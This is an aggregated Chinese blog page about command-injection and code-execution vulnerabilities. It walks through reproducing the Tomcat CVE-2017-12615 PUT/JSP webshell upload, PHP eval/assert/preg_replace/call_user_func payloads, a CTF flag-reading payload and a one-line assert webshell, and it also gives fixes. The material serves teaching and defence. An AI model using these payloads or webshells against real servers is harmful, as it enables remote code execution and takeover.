精华内容
下载资源
问答
  • 命令执行和代码执行漏洞

    千次阅读 2018-12-06 22:19:15
    远程代码执行漏洞 代码执行漏洞也叫代码注入漏洞,指用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令,可能会允许攻击者通过改变 $PATH 或程序执行...
    展开全文
  • 远程命令执行漏洞的原理 远程命令执行漏洞,用户通过浏览器提交执行命令,由于服务器端 没有针对执行函数做 过滤,导致在没有指定绝对...上传jsp木马所造成的远程代码执行漏洞。 知默认情况下是禁止http请求...

    远程命令执行漏洞的概念

    	远程命令执行漏洞,指用户通过浏览器提交执行操作命令,
    由于服务器端,没有针对执行函数做过滤,就执行了恶意命令
    

    远程代码执行漏洞概念

    	代码执行漏洞也叫代码注入漏洞,指用户通过浏览器
    提交执行恶意脚本代码,执行恶意构造的脚本代码
    

    两者区别

            命令执行: 一般指操作系统命令
         远程代码执行: 一般指的是脚本代码
    

    造成的原因

       造成的原因是Web服务器对用户输入命令安全检测不足,
    导致恶意(操作系统命令 或 脚本代码)被执行。
    

    命令执行漏洞

    命令执行漏洞的分类

    	代码层:一些商业应用需要执行命令,商业应用的一些核心代码可能封装在
    二进制文件中,在web应用中通过system函数来调用;
    
    	第三方组件层:很典型的就是wordpress中,可以选择使用imageMagick这个
    常用的图片处理组件,对用户上传的图片进行处理,造成命令执行,
    另外java中的命令执行漏洞(struts2/Elasticsearch等)
    

    命令执行漏洞的危害

    任意执行系统命令,恶意木马被种植,挂马,钓鱼,敏感信息泄露.....
    

    示例1

    在这里插入图片描述
    提交 http://localhost/cmd.php?ip=192.168.199.150|ipconfig

    提交以后 | 命令管道符会将 ping 192.168.199.150|ipconfig
    命令变成了 shell_exec('ping '.|ipconfig)
    在这里插入图片描述

    如何防止命令执行漏洞

    修复方法有很多方式,例如 1、过滤特殊字符或替换字符 2、严格验证输入的类型长度

    方案2 修复代码 :
    在这里插入图片描述
    执行效果
    在这里插入图片描述

    远程代码执行漏洞

    复现示例 Tomcat任意文件上传漏洞CVE-2017-12615

    介绍

    	ApacheTomcat服务组件中开启了http的Put方法所造成的攻击者可以利用该方法任意
    上传jsp木马所造成的远程代码执行漏洞。
    	知默认情况下是禁止http请求中的上传(PUT)和删除(DELETE)方法的。
    

    漏洞影响

    上传包含任意代码的文件,并被服务器执行。
    

    影响平台

    Windows/Linux
    

    漏洞影响版本

    Apache Tomcat <= 7.0.81 | Apache Tomcat <= 8.5.20 | Apache Tomcat <= 9.0.0.M26
    

    复现步骤一 准备环境

    准备环境:
    1、 java环境
    Java™ SE Runtime Environment (build 1.8.0_20-b26)

    2、apache-tomcat-7.0.70

    3、配置 环境变量 CATALINA_HOME

    4、修改tomcat 目录 conf/web.xml

    5、 开启HTTP PUT
    在这里插入图片描述

    复现步骤二 下载复现环境 (在文章最下面)

    复现步骤三 启动tomcat 服务

    在这里插入图片描述

    复现步骤四 利用PUT方法上传木马

    利用工具目录如下

    在这里插入图片描述

    cmd 进入利用脚本目录

    在这里插入图片描述

    上传可执行木马程序

    java -jar CVE-2017-12615-Exploit.jar
    http://127.0.0.1:8080 /shell.jsp D:\aqcode\code\CVE-2017-12615-master-利用脚本\cmd.jsp

    在这里插入图片描述
    Existence 代表上传成功

    工具源码分析

    在这里插入图片描述
    在这里插入图片描述
    代码标记1 :
    将 D:\aqcode\code\CVE-2017-12615-master-利用脚本\cmd.jsp 文件内容读取出来

    cmd.jsp 内容如下
    

    在这里插入图片描述

    代码标记2 :
    将内容写入到 http://127.0.0.1:8080/shell.jsp/ 文件当中

    代码标记3 :
    在这里插入图片描述
    当后缀名为 .jsp 和 .jspx 的时候,是通过JspServlet处理请求的:

    而其他的静态文件是通过org.apache.catalina.servlets.DefaultServletDefaultServlet处理的:
    在这里插入图片描述
    可以得知,“/shell.jsp/”(末尾有反斜杠)并不能匹配到 JspServlet,而是会交由DefaultServlet去处理。当处理 PUT 请求时:

    在这里插入图片描述
    在这里插入图片描述
    会调用resources.bind:

    在这里插入图片描述
    dirContext 为FileDirContext:
    在这里插入图片描述

    调用 rebind创建文件:

    在这里插入图片描述
    http://127.0.0.1:8080/shell.jsp/ ,多了一个反斜杠,
    这个关键,由于在org.apache.catalina.servlets.DefaultServlet 代 码会去掉最后的 / 的特性,故 put /shell.jsp/ 会创建成功
    (同时绕过 JspServlet 处理类)

    复现步骤五 执行木马程序

    http://127.0.0.1:8080/shell.jsp

    在这里插入图片描述

    修复方案

    1、配置readonly和VirtualDirContext值为True或注释参数,禁止使用PUT方法并重启tomcat
    注意:如果禁用PUT方法,对于依赖PUT方法的应用,可能导致业务失效。

    2、根据官方补丁升级最新版本

    漏洞总结

    	该漏洞利用的前提条件需要手动开启readOnly功能,以支持上传操作,默认配置的情况
    下是无法成功利用漏洞,从实际测试来看,漏洞危害性并没有那么高。但是如果用户一旦,启用了readOnly功能,黑客可利用漏洞成功入侵。
    

    复现环境及代码

    tomcat7源码
    https://pan.baidu.com/s/1rcbxfRyRFujkmHJKCr9voQ

    利用工具
    https://pan.baidu.com/s/10RJCGHUaU_Ifh1p2XCUfTw

    展开全文
  • 文章目录代码执行漏洞漏洞简介代码执行漏洞相关函数:eval()函数assert() 函数CTF实例preg_replace() 函数call_user_func() 函数动态函数 进入正题之前先扫一下盲区,可能有朋友已经会了,可以跳过 webshell ...

    PHP代码审计阶段,基本要理解常见Web漏洞,如Sql注入、XSS、CSRF、文件上传等,近十种安全漏洞的产生原因和初步的防御方法。


    进入正题之前先扫一下盲区,可能有朋友已经会了,可以跳过

    webshell

    WebShell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门。一般来说,黑客在入侵了 一个网站后,常常在将这些asp或php木马后门文件放置在网站服务器的web目录中,与正常的网页文件混在一起。然后黑客就可以用web的方式,通过 asp或php木马后门控制网站服务器,包括上传下载文件、查看数据库、执行任意程序命令等。 再通过dos命令或者植入后门木马通过服务器漏洞等达到提权的目的 从而旁注同服务器其他的网站。

    webshell可以穿越服务器防火墙,由于与被控制的服务器或远程过80端口传递的,因此不会被防火墙拦截。并且使用webshell一般不会在系统日志中留下记录,只会在网站的web日志中留下一些数据提交记录,没有经验的管理员是很难看出入侵痕迹的。

    代码执行漏洞

    代码执行漏洞就是通过PHP漏洞去执行我们构造的PHP代码,该漏洞是PHP危害最为严重的漏洞之一,代码执行漏洞与命令执行漏洞有相似之处,但二者不是同物。

    漏洞简介

    在使用将 字符串转化成代码 的函数时,没有考虑到用户是否能控制这个字符串(说白了就是未对用户输入进行过滤或过滤不严),用户可以将代码注入到应用中执行才导致代码执行漏洞的产生。

    PHP代码执行漏洞和 Sql注入、PHP命令注入漏洞的区别:

    • Sql注入漏洞是将Sql语句注入到后台数据库中进行解析并执行
    • 命令注入漏洞是指注入可以执行的系统命令(如windows中的CMD命令、linux中的Bash命令)并执行
    • PHP代码执行漏洞是将PHP代码注入到Web应用中通过Web容器执行

    代码执行漏洞相关函数:

    • PHP:eval()、assert()、call_user_func_array()、preg_replace()、call_user_func()等常规函数动态函数$a($b) (比如$_GET($_POST["xxx"])
    • Python:exec
    • Java:没有类似函数,但采用的反射机制和各种基于反射机制的表达式引擎(OGNL、SpEL、MVEL等)有类似功能

    eval()函数

    eval() 函数把字符串按照 PHP 代码来计算和执行,该字符串必须是合法的 PHP 代码,且必须以分号结尾
    如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false。

    <?php
    $string = "beautiful";
    $time = "winter";
     
    $str = "This is a $string $time morning!";
    echo $str. "<br />";
     
    eval("\$str = \"$str\";");#等同于:$str = "$str";而双引号中的代码会优先执行并替换
    echo $str;
    ?> 
    

    值得注意的是:

    1. eval函数的参数的字符串末尾一定要有分号,在最后还要另加一个分号(这个分号是php限制)。
    2. 注意单引号,双引号和反斜杠的运用。如果参数中带有变量时,并且变量有赋值操作的话,变量前的$符号前一定要有\来转义,如果没有赋值操作可以不需要。

    代码如下:

    <?php
    # 变量 $id 获取 get 方式传递的变量名为 id 的变量值(值为一个字符串),
    # 然后通过eval()函数对$get赋值,最后再使用echo输出$get 的值
    
    $id = $_GET['id'];
    eval("\$get = $id;");
    echo $get;
    ?>
    

    页面没展示任何内容,我们尝试加上?id=1 试试,发现页面成功输出我们带上的值
    在这里插入图片描述
    再尝试输入localhost/codeaudit/CodeExec/CodeExec1.php?id=xxxxx ,发现xxxx又成功在页面显示,凸艹还犹豫啥,直接想到肯定存在代码执行漏洞,输入 phpinfo() 命令,看看能不能显示 PHP 当前的配置信息,例如数据库版本等等…
    在这里插入图片描述
    后台成功解析了phpinfo()函数,并返回了 phpinfo 页面,显然这不是我们希望用户看到的,暴露了很多Web容器相关配置,这将带来许多未知的危险
    为什么会返回phpinfo页面呢?

    # <解释>
    phpinfo() # 被赋值给$id,之后执行代码:
    eval("\$get = phpinfo();");
     
    # 实际上相当于执行:
    $get = phpinfo();
     
    # 而php代码是从右往左执行,所以phpinfo()函数直接就先执行返回了phpinfo页面,这时后台php代码等同于:
    <?php
         $id = $_GET['id'];
         eval("$id;");
    ?>
    

    该漏洞产生的原因,就是未对用户的输入进行有效过滤

    assert() 函数

    编写代码时,我们总是会做出一些假设,断言就是用于在代码中捕捉这些假设,可以将断言看作是异常处理的一种高级形式。程序员断言在程序中的某个特定点该的表达式值为真(为真才能继续执行)。如果该表达式为假,就中断操作

    assert ( mixed $assertion [, Throwable $exception ] )
    

    漏洞:如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。跟eval(),和eval()函数区别在于参数不需要分号;结尾

    eval(" phpinfo()"); <错误>
    eval(" phpinfo();"); <正确>
    assert(" phpinfo()"); <正确>
    

    此函数安全隐患和 eval()函数极为类似,代码如下(和eval()函数类似):

    <?php
    $id = $_GET['id'];
    assert("\$get = $id"); # assert()函数内部没有`;`
    echo $get;
    ?>
    

    跟上述evale 访问的标签页一样,进去后加上?id= phpinfo(),后台成功解析命令,并返回PHP 相关配置信息

    CTF实例

    [外链图片转存失败(img-mzccCxJw-1562659889650)(E:\CTF\小白学习总结\攻防世界\web\picture2\3.8.PNG)]
    知道了assert断言的代码执行漏洞后,我们就来构造payload,这里利用了闭合的思想:

    分析代码可知,若想得到flag,则需要给page传入的须满足

    $file = "templates/" . $page . ".php";
    assert("strpos('$file', '..') === false")
    

    尝试

    ?page=abc') or system("cat templates/flag.php");//
    

    $file = "templates/abc') or system("cat templates/flag.php");//.php";
    

    assert("strpos('templates/abc') or system("cat templates/flag.php");//.php', '..') 
    

    得到
    [外链图片转存失败(img-xHyzrQxr-1562659889650)(E:\CTF\小白学习总结\攻防世界\web\picture2\3.flag.PNG)]
    (这个地方我本来在主页提交的,但是怎么都显示不出flag,可能被页眉给当起来了,ctrl+u查看源码就能看见了,或直接在源码也提交)

    ?page=abc') or system(phpinfo());//
    

    就可查看phpinfo信息。

    preg_replace() 函数

    preg_replace() 函数用于执行正则表达式的搜索和替换。
    语法:

    mixed preg_replace( mixed pattern, mixed replacement, mixed subject [, int limit ] ) 
    

    搜索subject中匹配 pattern(正则表达式)的部分, 用replacement进行替换。

    • PHP小于5.5的版本中,$pattern 存在 /e 模式修正符,允许代码执行
    • /e 模式修正符,使 preg_replace() 将 $replacement 当做php代码来执行

    实例1:
    代码如下,变量 $id 获取 get 方式传递的变量名为 id 的变量值(值为一个字符串),第一个参数从$id中正则匹配<j><j>之间的字符串并保存,第二个参数取出之前保存的字符串并作为PHP代码执行:

     <?php
        $id = $_GET['id'];
        preg_replace("/<j>(.*)<j>/e",'\\1',$id);
    ?>
    

    这里涉及反向引用的知识:

    反向引用,就是依靠子表达式的记忆功能匹配连续出现的字串或字母。表达式在匹配时,表达式引擎会将小括号 “( )” 包含的表达式所匹配到的字符串记录下来。在获取匹配结果的时候,小括号包含的表达式所匹配到的字符串可以用序号来单独获取。
    “\1” 引用第1对括号内匹配到的字符串,”\2” 引用第2对括号内匹配到的字符串……以此类推。在正则(.+)\1中,\1等于(.+)中匹配到的值,也就是连续2次相同的值。
    如匹配连续两个it,首先将一个单词it作为分组,然后再后面加上“\1”即可,格式为:(it)\1
    如果要匹配的字串不固定,那么就将括号内的字串写成一个正则表达式。如果使用了多个分组,那么可以用“\1”,“\2”来表示每个分组(顺序从左到右)。如:([a-z])(A-Z)\1\2

    通过代码分析,我们就可以构造我们的payload为:?id=<j>phpinfo()<j>时,页面就能成功返回phpinfo页面。
    如执行命令:?id=<j>system("cat /flag");<j>

    实例2:

    <?php
    preg_replace("/test/e",$_GET["h"],"jutst test");
    ?>
    

    哼哼,这个就不再多说了。

    call_user_func() 函数

    函数说明:
    call_user_func() 把第一个参数作为回调函数调用

    call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] ) 
    

    第一个参数 callback 是被调用的函数的函数名,其余参数是被调用函数的参数。

    call_user_func() 函数不是指一个函数,而是一类函数:调用函数这一类调用函数经常用在框架中动态调用函数,一般都是较大的程序才会使用到这类函数。 这里我们就拿call_user_func()函数作为例子讲解安全隐患出在哪里

    代码如下,变量 $_GET[‘id’] 获取 get 方式传递的变量名为 id 的变量值作为被调用函数的函数名,而变量 $_GET[‘data’] 则获取 get 方式传递的变量名为 data 的变量值作为该调用函数的参数

    <?php
        call_user_func($_GET['id'],$_GET['data']);
    ?>
    

    经过代码分析,同理,我们构造我们的payload为:id=assert&data=phpinfo()时,页面就能成功返回phpinfo页面

    同样call_user_func_array()函数:
    call_user_func_array — 调用回调函数,并把一个数组参数作为回调函数的参数

    call_user_func_array ( callable $callback , array $param_arr )
    

    把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的的参数传入,这个数组得是索引数组。

    动态函数

    函数说明:

    变量 $_GET[‘id’] 获取 get 方式传递的变量名为 id 的变量值作为函数名,而变量 $_GET[‘data’] 则获取 get 方式传递的变量名为 data 的变量值作为函数的参数

    $_GET['id']($_GET['data']);
    

    这种方式使用起来确实很方便,但也同时引来了很多安全问题,代码如下:

    <?php
    $_GET['id']($_GET['data']);
    ?>
    

    由于PHP语言自身的设计原因,为了方便动态调用函数,引入了动态函数的写法,但也存在安全隐患。

    同理,我们构造我们的payload为:id=assert&data=phpinfo()时,页面就能成功返回phpinfo页面

    PHP中双引号引起的代码执行漏洞

    在PHP语言中,单引号和双引号都可以表示一个字符串,但是对于双引号来说,可能会对引号内的内容进行二次解释,这就可能会出现安全问题。
    举个简单例子:

    <?php
    $a = 1;
    $b = 2;
    echo '$a$b';//输出结果为$a$b
    echo "$a$b";//输出结果为12
    ?>
    

    可以看到这两个输出的结果并不相同。

    在双引号中倘若有${}出现,那么{}内的内容将被当做php代码块来执行。
    在这里插入图片描述
    可以看到成功执行了phpinfo()

    试想一下,倘若在一个cms的后台,如果 可以 修改数据库的配置文件,且配置文件中的值用 双引号 包括 ,我们虽然也可以直接闭合代码达到getshell的后果,但是如果cms对传递的参数进行了addlashes()处理的话,我们就无法去闭合代码了,但这时我们可以传入${命令}就可以达到getshell的目的。
    现在,让我们来修改一下代码,让我们不只能输出phpinfo

    <?php echo "${@assert($_POST[a])}";?> //@是用来防止输出错误信息的
    

    在这里插入图片描述
    菜刀成功连接。
    对于这种漏洞的防御,一定要明确单引号与双引号的区别所在,不要简单认为两者是互相可以替代的,在平时的代码书写中能只用单引号一定不要用双引号,毕竟单引号的解释时间也比双引号少得多,代码运行相对更快。

    参考:https://blog.csdn.net/God_XiangYu/article/details/97822204

    展开全文
  • 远程代码执行漏洞概念 代码执行漏洞也叫代码注入漏洞,指用户通过浏览器 提交执行恶意脚本代码,执行恶意构造的脚本代码 两者区别 命令执行: 一般指操作系统命令 远程代码执行: 一般指的是脚本代码 造成的原因...

    远程命令执行漏洞的概念

    • 远程命令执行漏洞,指用户通过浏览器提交执行操作命令,
    • 由于服务器端,没有针对执行函数做过滤,就执行了恶意命令

    远程代码执行漏洞概念

    • 代码执行漏洞也叫代码注入漏洞,指用户通过浏览器
    • 提交执行恶意脚本代码,执行恶意构造的脚本代码

    两者区别

    • 命令执行: 一般指操作系统命令
    • 远程代码执行: 一般指的是脚本代码

    造成的原因

    • 造成的原因是Web服务器对用户输入命令安全检测不足,
    • 导致恶意(操作系统命令 或 脚本代码)被执行。

    命令执行漏洞

    命令执行漏洞的分类

    代码层:一些商业应用需要执行命令,商业应用的一些核心代码可能封装在二进制文件中,在web应用中通过system函数来调用;

    第三方组件层:很典型的就是wordpress中,可以选择使用imageMagick这个
    常用的图片处理组件,对用户上传的图片进行处理,造成命令执行,
    另外java中的命令执行漏洞(struts2/Elasticsearch等)

    命令执行漏洞的危害

    任意执行系统命令,恶意木马被种植,挂马,钓鱼,敏感信息泄露…

    示例1

    提交 http://localhost/cmd.php?ip=192.168.199.150|ipconfig
    
    提交以后 | 命令管道符会将 ping 192.168.199.150|ipconfig
    命令变成了 shell_exec('ping '.|ipconfig)
    

    如何防止命令执行漏洞

    修复方法有很多方式,例如:
    1、过滤特殊字符或替换字符
    2、严格验证输入的类型长度

    方案2
    修复代码 :
    执行效果

    远程代码执行漏洞

    复现示例 Tomcat任意文件上传漏洞CVE-2017-12615

    介绍
    ApacheTomcat服务组件中开启了http的Put方法所造成的攻击者可以利用该方法任意
    上传jsp木马所造成的远程代码执行漏洞。
    知默认情况下是禁止http请求中的上传(PUT)和删除(DELETE)方法的。

    漏洞影响

    上传包含任意代码的文件,并被服务器执行。
    影响平台
    Windows/Linux
    漏洞影响版本
    Apache Tomcat <= 7.0.81 | Apache Tomcat <= 8.5.20 | Apache Tomcat <= 9.0.0.M26
    复现步骤一 准备环境
    准备环境:
    1、 java环境
    Java™ SE Runtime Environment (build 1.8.0_20-b26)

    2、apache-tomcat-7.0.70

    3、配置 环境变量 CATALINA_HOME

    4、修改tomcat 目录 conf/web.xml

    5、 开启HTTP PUT

    复现步骤二
    下载复现环境 (在文章最下面)
    复现步骤三
    启动tomcat 服务

    复现步骤四
    利用PUT方法上传木马
    利用工具目录如下

    cmd 进入利用脚本目录

    上传可执行木马程序
    java -jar CVE-2017-12615-Exploit.jar
    http://127.0.0.1:8080 /shell.jsp D:\aqcode\code\CVE-2017-12615-master-利用脚本\cmd.jsp

    Existence 代表上传成功

    工具源码分析

    代码标记1
    将 D:\aqcode\code\CVE-2017-12615-master-利用脚本\cmd.jsp 文件内容读取出来

    cmd.jsp 内容如下

    代码标记2
    将内容写入到 http://127.0.0.1:8080/shell.jsp/ 文件当中

    代码标记3
    当后缀名为 .jsp.jspx 的时候,是通过JspServlet处理请求的:

    而其他的静态文件是通过org.apache.catalina.servlets.DefaultServletDefaultServlet处理的:

    可以得知,“/shell.jsp/”(末尾有反斜杠)并不能匹配到JspServlet,而是会交由DefaultServlet去处理。当处理 PUT 请求时:

    会调用resources.bind

    dirContext 为FileDirContext

    调用rebind创建文件:

    http://127.0.0.1:8080/shell.jsp/ ,多了一个反斜杠,
    这个关键,由于在org.apache.catalina.servlets.DefaultServlet 代 码会去掉最后的 / 的特性,故 put /shell.jsp/会创建成功
    (同时绕过JspServlet处理类)

    复现步骤五 执行木马程序
    http://127.0.0.1:8080/shell.jsp

    修复方案

    1、配置readonly和VirtualDirContext值为True或注释参数,禁止使用PUT方法并重启tomcat
    注意:如果禁用PUT方法,对于依赖PUT方法的应用,可能导致业务失效。

    2、根据官方补丁升级最新版本

    漏洞总结

    该漏洞利用的前提条件需要手动开启readOnly功能,以支持上传操作,默认配置的情况
    下是无法成功利用漏洞,从实际测试来看,漏洞危害性并没有那么高。但是如果用户一旦,启用了readOnly功能,黑客可利用漏洞成功入侵。

    复现环境及代码
    tomcat7源码
    https://pan.baidu.com/s/1rcbxfRyRFujkmHJKCr9voQ

    利用工具
    https://pan.baidu.com/s/10RJCGHUaU_Ifh1p2XCUfTw

    展开全文
  • JSP命令执行漏洞 一、代码执行成因调用Runtime但是没有对传入参数没有过滤和限制:jsp调用命令行的只需要在<%%> 中编写使用Runtime类即可调用命令行Windows 用“&”,linux用“;”号来分隔多条命令'cmd....
  • Apache Tomcat 远程代码执行漏洞(CVE-2019-0232)漏洞复现 一、 漏洞简介 漏洞编号和级别 CVE编号:CVE-2019-0232,危险级别:高危,CVSS分值:官方未评定。 漏洞概述 Apache Tomcat是美国阿帕奇(Apache)...
  • 一、代码执行漏洞 可以写入这样的eval执行函数↑ 但这样容易被拦截,那该怎样做呢?↓ 可以写成这样,参数b就接受eval或者assert****函数↓ 命令执行↓ 二、变量覆盖漏洞 通过控制“auth”的值,直接就...
  • 远程命令执行漏洞的原理 远程命令执行漏洞,用户通过浏览器提交执行命令,由于服务器端 没有针对执行函数做 过滤,导致在没有指定绝对路径的情况下就执行命令 ...上传jsp木马所造成的远程代码执行漏洞。 漏洞...
  • Tomcat/7.0.81 远程代码执行漏洞复现

    千次阅读 2017-10-13 16:10:00
    Tomcat/7.0.81 远程代码执行漏洞复现 参考链接: http://www.freebuf.com/vuls/150203.html 漏洞描述: CVE-2017-12617 Apache Tomcat是一个流行的开源JSP应用服务器程序。 Apache Tomcat启用HTTP PUT后,...
  • 2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,漏洞CVE编号:CVE-2017-12615和CVE-2017-12616,其中 远程代码执行漏洞(CVE-2017-12615) 当 Tomcat 运行在 Windows 主机上,且启用了 HTTP PUT 请求...
  • 漏洞预警|Apache Tomcat高危远程代码执行漏洞(CVE-2019-0232)2019-04-12事件来源近日,HSCERT监测到ApacheTomcat曝出了编号为CVE-2019-0232的远程代码执行漏洞。据分析,该漏洞影响较严重,远程攻击者可以利用该漏洞...
  • 2017年9月19日, Apache Tomcat官方发布两个严重的安全漏洞, 其中CVE-2017-12615为远程代码执行漏洞,通过put请求向服务器上传恶意jsp文件, 再通过jsp文件在服务器上执行任意代码, 且最新的补丁未完全修复漏洞。...
  • struts2代码执行漏洞

    2012-06-28 10:52:48
    刚刚@乌云-漏洞报告平台公布的struts2代码执行漏洞, 具体的漏洞说明地址 https://www.sec-consult.com/files/20120104-0_Apache_Struts2_Multiple_Critical_Vulnerabilities.txt  还是热乎的,我大概白话一下。 ...
  • 当存在该漏洞的Tomcat 运行在 Windows 主机上,且启用了 HTTP PUT请求方法,攻击者可通过构造的攻击请求向服务器上传包含任意代码的 JSP 文件,造成任意代码执行 影响范围: Apache Tomcat 7.0.0 - 7.0.79 漏洞...
  • 在 F5 BIG-IP 产品的流量管理用户页面 (TMUI)/配置实用程序的特定页面中存在一处远程代码执行漏洞。 未授权的远程攻击者通过向该页面发送特制的请求包,可以造成任意Java 代码执行。进而控制 F5 BIG-IP 的全部功能...
  • 实验环境操作机:windows XPIP:172.16.11.2目标机:windows server 2003IP:172.16.12.2实验目的了解Tomcat远程代码执行漏洞危害掌握检测利用Tomcat远程代码执行漏洞的能力实验工具Firefox: 中文俗称火狐,一个自由...
  • TOMCAT远程代码执行漏洞(CVE-2017-12615)NTFS文件流:tomcat7.0.79下载功能快捷键合理的创建标题,有助于目录的生成如何改变文本的样式插入链接与图片如何插入一段漂亮的代码片生成一个适合你的列表创建一个表格...
  • S2-012 远程代码执行漏洞

    千次阅读 2018-12-11 09:50:50
    这里 UserAction 中定义有一个 name 变量,当触发 redirect 类型返回时,Struts2 获取使用 ${name} 获取其值,在这个过程中会对 name 参数的值执行 OGNL 表达式解析,从而可以插入任意 OGNL 表达式导致命令执行。...
  • 文章目录前言一、Apache Struts2远程代码执行漏洞(S2-004)复现漏洞原理漏洞复现 前言 提示:这里可以添加本文要记录的大概内容: 例如:随着人工智能的不断发展,机器学习这门技术也越来越重要,很多人都开启了学习...
  • Struts2再爆远程代码执行漏洞 st4rw00d @ 漏洞 2013-05-22 共 19242 人围观  摘要  Apache官方的struts2产品,最近出了一个远程代码执行漏洞,编号“S2-013”,目前是0DAY,官方没有修补方案出现。 ...
  • CVE-2017-12615 Tomcat远程代码执行漏洞复现 漏洞编号 CVE-2017-12615 影响范围 Apache Tomcat 7.0.0-7.0.81 复现用的公网在线靶场 http://bc.csxa.cn:9000/#/dashboard poc PUT /3.jsp/ ...
  • 目录 漏洞背景 ...远程攻击者可以构造特殊的 HTTP 请求,在未经身份验证的情况下接管 WebLogic Server Console ,并在 WebLogic ServerConsole 执行任意代码漏洞影响版本 Oracle WeblogicServ
  • 早期的思想架构来源于Struts,后来经过不断改进和完善,同时也借鉴了国外很多优秀的框架和模式,使用面向对象的开发结 构和MVC模式,融合了Struts的Action和Dao思想和JSP的TagLib(标签库)、RoR的ORM映射和...
  • 2020年10月30日, Oracle 官方的 CVE-2020-14882 Weblogic 代码执行漏洞最新补丁可被绕过,该漏洞编号为 CVE-2020-14882。远程攻击者可以构造特殊的 HTTP 请求,在未经身份验证的情况下接管 WebLogic Server Console...
  • 下面来看一下对Tomcat 远程代码执行漏洞的一次战斗! 一开始拿到这个靶场时,都不知道该如何入手,于是去百度搜了相关资料。 找到了一篇好文章,写的简单明了!阅读完后,发现要复现和利用还是很简单的。只要一个...
  • CVE-2017-12617-Tomcat远程代码执行漏洞复现分析 一、CVE-2017-12617介绍 如果配置了默认servlet,则在9.0.1(Beta),8.5.23,8.0.47和7.0.82之前的所有Tomcat版本都包含所有操作系统上的潜在危险的远程执行代码...
  • 渗透测试-Tomcat远程代码执行漏洞

    千次阅读 2019-08-07 16:59:16
    漏洞概述:当 Tomcat运行在Windows操作系统时,且启用了HTTP PUT请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码JSP ...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 12,636
精华内容 5,054
关键字:

jsp代码执行漏洞